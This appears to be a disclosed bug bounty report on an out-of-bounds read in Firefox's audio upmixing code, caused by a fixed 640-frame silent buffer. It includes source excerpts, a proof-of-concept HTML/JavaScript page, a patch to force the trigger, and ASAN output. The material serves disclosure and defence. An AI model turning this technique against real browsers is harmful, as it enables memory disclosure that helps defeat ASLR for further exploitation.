Fixed 640-Frame Silent Upmix Buffer Triggers Out-of-Bounds Read on Long Audio Chunks
A fixed-size 640-frame silent buffer used for channel upmixing is read using the audio chunk's own frame count, so chunks longer than 640 frames (such as Opus or AAC) cause an out-of-bounds read of adjacent global data. An attacker could capture the leaked memory through the audio APIs to obtain address information useful for defeating ASLR.
Originally disclosed on Mozilla
- Fixed in 19 days
- Paid in 25 days
- Disclosed after 19 days
Brief/Intro
The silent buffer SilentChannel::gZeroChannel used for channel upmixing in Firefox's audio pipeline is hardcoded to 640 frames (2560 bytes), but WriteChunk() reads from this buffer according to aChunk.mDuration (the actual audio chunk frame count) when interleaving audio data. Common audio codecs produce frames well beyond 640 (Opus produces 960 frames, AAC produces 1024 frames). When channel upmixing occurs and the audio chunk length exceeds 640 frames, InterleaveAndConvertBuffer reads past the gZeroChannel boundary into adjacent memory in the libxul.so global data section. An attacker can craft a media file with mid-stream channel count changes combined with captureStream() and a non-unity playbackRate to trigger this out-of-bounds read, then capture the leaked adjacent global variable contents through MediaRecorder or AudioContext to achieve information disclosure.
Vulnerability Details
The SilentChannel class defined in AudioSegment.h provides a global static buffer used to represent silence, with a fixed size of 640 frames:
// dom/media/AudioSegment.h
class SilentChannel {
public:
static const int AUDIO_PROCESSING_FRAMES = 640; /* > 10ms of 48KHz audio */
static const uint8_t
gZeroChannel[MAX_AUDIO_SAMPLE_SIZE * AUDIO_PROCESSING_FRAMES];
template <typename T>
static const T* ZeroChannel();
};
The total buffer size is 4 * 640 = 2560 bytes (for float samples). When audio data has fewer channels than the output requires, WriteChunk() calls AudioChannelsUpMix() to fill missing channels with pointers to ZeroChannel():
// dom/media/AudioSegment.h — WriteChunk()
template <typename SrcT>
void WriteChunk(const AudioChunk& aChunk, uint32_t aOutputChannels,
float aVolume, AudioDataValue* aOutputBuffer) {
CopyableAutoTArray<const SrcT*, GUESS_AUDIO_CHANNELS> channelData;
channelData.AppendElements(aChunk.ChannelData<SrcT>());
if (channelData.Length() < aOutputChannels) {
// Up-mix. Note that this might actually make channelData have more
// than aOutputChannels temporarily.
AudioChannelsUpMix(&channelData, aOutputChannels,
SilentChannel::ZeroChannel<SrcT>());
}
if (channelData.Length() > aOutputChannels) {
DownmixAndInterleave<SrcT>(channelData, aChunk.mDuration, aVolume,
aOutputChannels, aOutputBuffer);
} else {
InterleaveAndConvertBuffer(channelData.Elements(), aChunk.mDuration,
aVolume, aOutputChannels, aOutputBuffer);
}
}
AudioChannelsUpMix() points all channels that need filling to the same aZeroChannel pointer:
// dom/media/AudioChannelFormat.h — AudioChannelsUpMix()
template <typename T>
void AudioChannelsUpMix(nsTArray<const T*>* aChannelArray,
uint32_t aOutputChannelCount, const T* aZeroChannel) {
// ...
for (uint32_t i = 0; i < outputChannelCount; ++i) {
uint8_t channelIndex = m.mInputDestination[i];
if (channelIndex == IGNORE) {
outputChannels[i] = aZeroChannel; // points to the fixed 640-frame gZeroChannel
} else {
outputChannels[i] = aChannelArray->ElementAt(channelIndex);
}
}
// ...
}
Subsequently, InterleaveAndConvertBuffer iterates over all channel pointers frame by frame, using aChunk.mDuration (i.e., aLength) as the loop bound:
// dom/media/AudioSegment.h — InterleaveAndConvertBuffer()
template <typename SrcT, typename DestT>
static void InterleaveAndConvertBuffer(const SrcT* const* aSourceChannels,
uint32_t aLength, float aVolume,
uint32_t aChannels, DestT* aOutput) {
DestT* output = aOutput;
for (size_t i = 0; i < aLength; ++i) {
for (size_t channel = 0; channel < aChannels; ++channel) {
float v =
ConvertAudioSample<float>(aSourceChannels[channel][i]) * aVolume;
*output = FloatToAudioSample<DestT>(v);
++output;
}
}
}
Here aLength comes from aChunk.mDuration, while the upmixed channels in aSourceChannels[channel] point to a gZeroChannel that is only 640 frames long. When aLength > 640, accessing aSourceChannels[channel][i] for the upmixed channels reads global memory beyond gZeroChannel, constituting an out-of-bounds read.
The critical trigger path is AudioDecoderInputTrack::FillDataToTimeStretcher(). When an HTMLMediaElement's playbackRate is not 1.0, audio data passes through the time stretcher (SoundTouch), which is initialized with a fixed channel count:
// dom/media/mediasink/AudioDecoderInputTrack.cpp
uint32_t AudioDecoderInputTrack::GetChannelCountForTimeStretcher() const {
// The time stretcher MUST be initialized with a fixed channel count, but the
// channel count in audio chunks might vary. Therefore, we always use the
// initial input channel count to initialize the time stretcher and perform a
// real-time down-mix/up-mix for audio chunks which have different channel
// count than the initial input channel count.
return mInitialInputChannels;
}
The source code comment explicitly acknowledges that "channel count in audio chunks might vary," yet the time stretcher always uses mInitialInputChannels (the initial channel count obtained from AudioInfo at construction time). When a media stream begins with 5.1 audio (6 channels) and then switches to mono, FillDataToTimeStretcher() calls WriteChunk() with channels=6, performing upmix on a mono chunk that has only 1 channel, pointing 5 missing channels to gZeroChannel. If that chunk's mDuration is 960 frames (Opus) or 1024 frames (AAC), every upmixed channel read exceeds the 640-frame boundary, reading up to (960 - 640) * 4 = 1280 bytes of out-of-bounds data.
Impact Details
This vulnerability is a global buffer overflow (out-of-bounds read) targeting adjacent global variables in the libxul.so global data section located after gZeroChannel. The out-of-bounds data gets interleaved into the audio output stream, which an attacker can capture from the JavaScript side via the MediaRecorder API or AudioContext's AnalyserNode/ScriptProcessorNode, thereby reconstructing the leaked global memory contents.
Depending on the layout of gZeroChannel in the libxul.so data section, adjacent global variables may contain function pointers, vtable-related data, or other security-sensitive internal state. Leaking this information can help an attacker bypass ASLR, providing precise address information for subsequent memory corruption exploits.
The trigger conditions require the page to capture the audio stream using captureStream() or mozCaptureStream(), set a non-unity playbackRate, and play a media file with mid-stream channel count changes. All of these APIs are callable from ordinary web page JavaScript without any special privileges.
References
gZeroChannel static buffer definition (fixed at 640 frames): https://searchfox.org/mozilla-central/source/dom/media/AudioSegment.h#106-108
WriteChunk() using ZeroChannel for upmixing: https://searchfox.org/mozilla-central/source/dom/media/AudioSegment.h#472-476
InterleaveAndConvertBuffer() reading all channel pointers by aLength: https://searchfox.org/mozilla-central/source/dom/media/AudioSegment.h#76-88
AudioChannelsUpMix() pointing missing channels to aZeroChannel: https://searchfox.org/mozilla-central/source/dom/media/AudioChannelFormat.h#210-246
GetChannelCountForTimeStretcher() returning fixed initial channel count: https://searchfox.org/mozilla-central/source/dom/media/mediasink/AudioDecoderInputTrack.cpp#656-663
FillDataToTimeStretcher() calling WriteChunk with fixed channel count: https://searchfox.org/mozilla-central/source/dom/media/mediasink/AudioDecoderInputTrack.cpp#429-467
Proof of Concept
This PoC demonstrates triggering the out-of-bounds read in FillDataToTimeStretcher() via mozCaptureStream() combined with playbackRate=2.0. The natural trigger requires playing a media stream that transitions from 5.1 channels to mono, such that mInitialInputChannels=6 but subsequent chunks are mono. To achieve stable reproduction in a controlled environment, the PoC applies a single-line source patch to the FillDataToTimeStretcher() function in AudioDecoderInputTrack.cpp, forcing channels to 6 to simulate the scenario where mInitialInputChannels was initialized from 5.1 audio. This patch only changes the source of the channel count parameter and does not affect the vulnerable code path itself.
Source patch (applied after const uint32_t channels = GetChannelCountForTimeStretcher(); in the FillDataToTimeStretcher() function of dom/media/mediasink/AudioDecoderInputTrack.cpp):
// Force channels=6 to simulate mInitialInputChannels=6 from 5.1 media start
channels = 6;
PoC page (poc.html, served via an HTTP server, requires a mono Opus WebM file mono_long.webm of at least 15 seconds):
<!DOCTYPE html>
<html><body>
<script>
/*
* PoC: global-buffer-overflow in SilentChannel::ZeroChannel
*
* Vulnerability: WriteChunk() upmixes audio using SilentChannel::ZeroChannel()
* (a 640-frame static buffer), but reads aChunk.mDuration frames from it.
* Opus decodes 960-frame chunks, exceeding the 640-frame buffer -> OOB read.
*
* Trigger path: AudioDecoderInputTrack::FillDataToTimeStretcher()
* - Requires captureStream() to create AudioDecoderInputTrack
* - Requires playbackRate != 1.0 to enter the time stretcher path
* - Requires channel count mismatch (chunk channels < expected channels)
* to trigger upmix with ZeroChannel
*/
// Create audio element with mono source (1 channel, Opus 960-frame chunks)
var audio = document.createElement('audio');
audio.src = 'mono_long.webm';
audio.autoplay = true;
// Set playbackRate != 1.0 BEFORE play to ensure time stretcher path is used
audio.playbackRate = 2.0;
document.body.appendChild(audio);
audio.onerror = function() {
window.dump("PoC: audio error: " +
(audio.error ? audio.error.code + " " + audio.error.message : 'unknown') + "\n");
};
audio.onloadedmetadata = function() {
window.dump("PoC: metadata loaded, setting up captureStream\n");
try {
// captureStream() creates AudioDecoderInputTrack which contains
// FillDataToTimeStretcher - the vulnerable code path
var stream;
if (audio.mozCaptureStream) {
stream = audio.mozCaptureStream();
window.dump("PoC: mozCaptureStream() OK\n");
} else if (audio.captureStream) {
stream = audio.captureStream();
window.dump("PoC: captureStream() OK\n");
} else {
window.dump("PoC: No captureStream API available!\n");
return;
}
// Must consume the stream to drive audio processing
var ctx = new AudioContext({sampleRate: 48000});
var srcNode = ctx.createMediaStreamSource(stream);
var gain = ctx.createGain();
gain.gain.value = 0.01; // Low volume
srcNode.connect(gain);
gain.connect(ctx.destination);
window.dump("PoC: AudioContext pipeline connected\n");
} catch(e) {
window.dump("PoC: setup error: " + e + "\n");
}
};
audio.onplay = function() {
window.dump("PoC: playing, playbackRate=" + audio.playbackRate + "\n");
};
audio.onended = function() {
window.dump("PoC: audio ended\n");
};
// Allow 25 seconds for processing then close
setTimeout(function() {
window.dump("PoC: timeout, closing\n");
window.close();
}, 25000);
</script>
</body></html>
Generate the test audio file mono_long.webm (mono Opus, 48kHz, 15 seconds):
ffmpeg -f lavfi -i "sine=frequency=440:duration=15" -ac 1 -ar 48000 -c:a libopus mono_long.webm
To reproduce, apply the single-line patch above to the ASAN-instrumented Firefox source and rebuild. Serve poc.html and mono_long.webm via an HTTP server, then open http://localhost:8080/poc.html with the ASAN Firefox build (autoplay must be enabled, which can be set via about:config by setting media.autoplay.default=0).
The following is the actual ASAN output from execution, confirming the global buffer overflow trigger:
PoC: metadata loaded, setting up captureStream
PoC: mozCaptureStream() OK
PoC: AudioContext pipeline connected
PoC: playing, playbackRate=2
GECKO009_PATCH: original channels=1, forcing to 6 for OOB proof
==1507972==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7b95ce225c80
at pc 0x7b95df0ae019 bp 0x7b9538f35910 sp 0x7b9538f35908
READ of size 4 at 0x7b95ce225c80 thread T106
#0 ConvertAudioSample<float, float> AudioSampleFormat.h:227
#1 InterleaveAndConvertBuffer<float, float> AudioSegment.h:83
#2 WriteChunk<float> AudioSegment.h:499
#3 FillDataToTimeStretcher::lambda AudioDecoderInputTrack.cpp:474
#4 AudioSegment::IterateOnChunks AudioSegment.h:453
#5 FillDataToTimeStretcher AudioDecoderInputTrack.cpp:450
#6 AppendTimeStretchedDataToSegment AudioDecoderInputTrack.cpp:421
#7 AppendBufferedDataToOutput AudioDecoderInputTrack.cpp:369
#8 ProcessInput AudioDecoderInputTrack.cpp:322
#9 MediaTrackGraphImpl::Process MediaTrackGraph.cpp:1448
#10 OneIterationImpl MediaTrackGraph.cpp:1606
#11 GraphRunner::Run GraphRunner.cpp:141
0x7b95ce225c80 is located 0 bytes after global variable
'mozilla::SilentChannel::gZeroChannel' defined in
'AudioSegment.h:108' (0x7b95ce225280) of size 2560
SUMMARY: AddressSanitizer: global-buffer-overflow
AudioSampleFormat.h:227 in ConvertAudioSample<float, float>
ASAN reports the out-of-bounds read at address 0x7b95ce225c80, located immediately after the end of gZeroChannel (2560 bytes), with a shadow byte of f9 (global redzone), confirming the read exceeded the global buffer boundary. The crash stack trace fully demonstrates the call chain from FillDataToTimeStretcher() through WriteChunk() to InterleaveAndConvertBuffer(), consistent with the vulnerability analysis. The Opus codec produces 960 frames per chunk, exceeding the 640-frame capacity of gZeroChannel, causing each upmixed channel to read (960 - 640) * 4 = 1280 bytes out of bounds.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The upmix path substitutes a fixed 640-frame silent buffer for missing channels but then iterates over the chunk's own duration, which can exceed 640 frames.
Impact
The out-of-bounds read could leak adjacent global data into the captured audio, potentially revealing addresses that help bypass ASLR, though the PoC relies on a source patch to force the channel mismatch.
What the attacker needed
Victim opens a crafted page; page uses captureStream(); non-unity playbackRate; media with mid-stream channel change
How it was found
- Apply the one-line source patch forcing the channel count to 6 in FillDataToTimeStretcher and rebuild an ASAN Firefox.
- Generate a mono Opus WebM file of at least 15 seconds and serve it alongside the PoC page over HTTP.
- Open the PoC page in the ASAN build with autoplay enabled.
- The page creates an audio element, sets a non-unity playback rate, and calls captureStream().
- The page connects the captured stream to an AudioContext so audio processing runs.
- Observe the ASAN global-buffer-overflow report immediately after the end of gZeroChannel.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a sound has fewer channels than the player expects, the browser fills the missing channels with silence taken from a small fixed-size block of memory. The code then reads as many samples from that block as the current audio chunk contains, which can be more than the block holds, so it reads whatever memory sits next to it. A web page can record the resulting audio and look at the extra data, which may reveal memory addresses.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.